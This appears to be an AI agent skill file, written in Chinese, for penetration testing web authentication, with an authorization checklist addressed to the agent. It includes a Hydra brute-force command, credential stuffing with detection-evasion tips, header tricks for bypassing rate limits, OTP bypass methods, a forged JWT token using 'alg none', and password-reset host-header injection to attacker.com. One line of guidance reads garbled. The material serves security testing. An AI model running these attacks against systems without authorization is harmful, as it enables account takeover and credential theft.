broken-authentication

⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前，必须获得系统所有者明确的书面许可。 滥用此工具属于违法行为，且受到严格禁止。

强制确认关卡 在运行任何会探测、利用、修改、在目标上建立持久化、从目标提取数据或尝试访问目标凭据的命令之前：

1. 请用户说明确切的目标 URL、IP、账户或资源。
2. 请用户确认已获得书面授权，并说明许可的范围。
3. 展示确切的命令，并说明其预期效果。
4. 等待用户在当前对话中明确确认。

未获得此确认时，请仅进行只读操作，并只提供防御性指导。优先使用沙箱、一次性 VM 或受控实验环境。

身份验证失效测试

目的

识别并利用 Web 应用中的身份验证和会话管理漏洞。身份验证失效一直位列 OWASP Top 10，可能导致账户接管、身份盗用以及对敏感系统的未授权访问。此技能涵盖密码策略、会话处理、多因素身份验证和凭据管理的测试方法。

前提条件

必备知识

• HTTP 协议和会话机制
• 身份验证类型（SFA、2FA、MFA）
• Cookie 和令牌处理
• 常见身份验证框架

必备工具

• Burp Suite Professional 或 Community
• Hydra 或类似的暴力破解工具
• 用于凭据测试的自定义字典
• 浏览器开发者工具

必备权限

• 目标应用 URL
• 测试账户凭据
• 测试的书面授权

输出与交付物

1. 身份验证评估报告 - 记录所有已识别的漏洞
2. 凭据测试结果 - 暴力破解和字典攻击的结果
3. 会话安全分析 - 令牌随机性和超时时间评估
4. 修复建议 - 安全强化指导

核心工作流

阶段 1：身份验证机制分析

了解应用的身份验证架构：

# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)

# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*

捕获并分析身份验证请求：

POST /login HTTP/1.1
Host: target.invalid
Content-Type: application/x-www-form-urlencoded

username=test&password=test123

阶段 2：密码策略测试

评估密码要求及其执行情况：

# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)

评估适用的策略和威胁模型。缺少字符组成规则本身并不构成缺陷；应优先关注密码长度、已泄露密码黑名单和速率限制。参见 NIST SP800-63B-4。

阶段 3：凭据枚举

测试是否存在用户名枚举漏洞：

# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages

密码重置

“如果账户存在，则发送邮件”（安全） “此邮箱没有对应账户”（会泄露信息）

API 响应

{"error": "user_not_found"} {"error": "invalid_password"}

### Phase 4: Brute Force Testing

Test account lockout and rate limiting:

```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.invalid http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes

检查是否有防护措施：

# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?

# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?

# CAPTCHA
- After failed attempts?
- Easily bypassable?

阶段 5：凭据填充攻击

仅对明确授权的测试账户使用合成的配对凭据，切勿使用无关的已泄露账户凭据：

# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches

# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins

# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts

阶段 6：会话管理测试

分析会话令牌的安全性：

# Capture session cookie
Cookie: SESSIONID=abc123def456

# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?

会话令牌分析：

#!/usr/bin/env python3
import requests
import hashlib

# Collect multiple session tokens
tokens = []
for i in range(100):
    response = requests.get("https://target.invalid/login")
    token = response.cookies.get("SESSIONID")
    tokens.append(token)

# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components

阶段 7：会话固定测试

测试身份验证后是否会重新生成会话：

# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123

# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid

# Step 3: Check if session changed
# Unchanged ID is a lead: verify attacker fixation and authenticated reuse.
# A changed ID alone does not prove the old session was invalidated.

攻击场景：

# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
   https://target.invalid/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session

阶段 8：会话超时测试

验证会话过期策略：

# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid

# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)

# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side

阶段 9：多因素身份验证测试

评估 MFA 实现的安全性：

# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint

# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse

# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls

# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass

测试 MFA 注册流程：

# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?

# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?

阶段 10：密码重置测试

分析密码重置的安全性：

# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
   - Length and randomness
   - Expiration time
   - Single-use enforcement
   - Account binding

# Token manipulation
https://target.invalid/reset?token=abc123&user=victim
# Try changing user parameter while using valid token

# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
[email protected]
# Reset email may contain attacker's domain

快速参考

常见漏洞类型

漏洞	风险	测试方法
弱密码	高	策略测试、字典攻击
未设置锁定机制	高	暴力破解测试
用户名枚举	中	差异响应分析
会话固定	高	登录前后会话对比
弱会话令牌	高	熵分析
未设置会话超时	中	长时间会话测试
不安全的密码重置	高	令牌分析、工作流绕过
MFA 绕过	严重	直接访问、响应篡改

凭证测试载荷

# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user

# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123

# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists

会话 Cookie 标志

标志	用途	缺失时的漏洞
HttpOnly	防止 JS 访问	XSS 可窃取会话
Secure	仅限 HTTPS	通过 HTTP 发送
SameSite	CSRF 防护	允许跨站请求
Path	URL 范围	暴露范围更广
Domain	域范围	可访问子域
Expires	有效期	持久会话

速率限制绕过标头

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

约束与限制

法律要求

• 仅在获得明确书面授权后进行测试
• 避免使用真实的泄露凭证进行测试
• 不要访问真实用户账户
• 记录所有测试活动

技术限制

• CAPTCHA 可能阻止自动化测试
• 速率限制会影响暴力破解速度
• MFA 会显著增加攻击难度
• 某些漏洞需要受害者交互

范围考量

• 测试账户的行为可能与生产环境不同
• 测试环境中可能禁用某些功能
• 第三方身份验证可能不在范围内
• 在生产环境中测试需要格外谨慎

示例

示例 1：绕过账户锁定

**场景：**测试能否绕过账户锁定

# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"

# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1

# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked

# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts

示例 2：JWT 令牌攻击

**场景：**利用有缺陷的 JWT 实现

# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}

# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

示例 3：密码重置令牌利用

**场景：**测试密码重置功能

# Step 1: Request reset for test account
POST /forgot-password
[email protected]

# Step 2: Capture reset link
https://target.invalid/reset?token=a1b2c3d4e5f6

# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token

# Step 4: Test for user parameter manipulation
https://target.invalid/reset?token=a1b2c3d4e5f6&[email protected]
# Check if admin's password can be reset with test user's token

故障排查

问题	解决方案
暴力破解太慢	确定速率限制范围；轮换 IP；增加延迟；使用针对性字典
会话分析无法得出结论	收集 1000 个以上令牌；使用统计工具；检查时间戳；对比账户
无法绕过 MFA	报告在已测试范围内未发现绕过方法；测试备用/恢复机制；检查 MFA 疲劳攻击；验证注册情况
账户锁定导致无法测试	申请多个测试账户；先测试阈值；降低尝试频率

适用场景

此技能适用于执行概览中描述的工作流或操作。

在凭证/OTP 测试前，商定测试账户 ID、最大尝试次数/速率/并发量、锁定后的恢复方式以及停止条件。除非获得成功，否则不要继续，也不要仅为规避测试预算而轮换 IP。若有效的节流/其他控制措施已生效，仅缺少锁定机制本身并不构成漏洞。令牌长度和小样本无法证明熵；仅报告观察到的属性。只有服务器端受保护操作成功时，篡改客户端响应才可证明绕过。Cookie Path 不是稳健的安全边界；未设置 Expires 通常表示会话 Cookie，而非服务器授权永久有效。Pwned Passwords 不是成对泄露账户凭证的来源。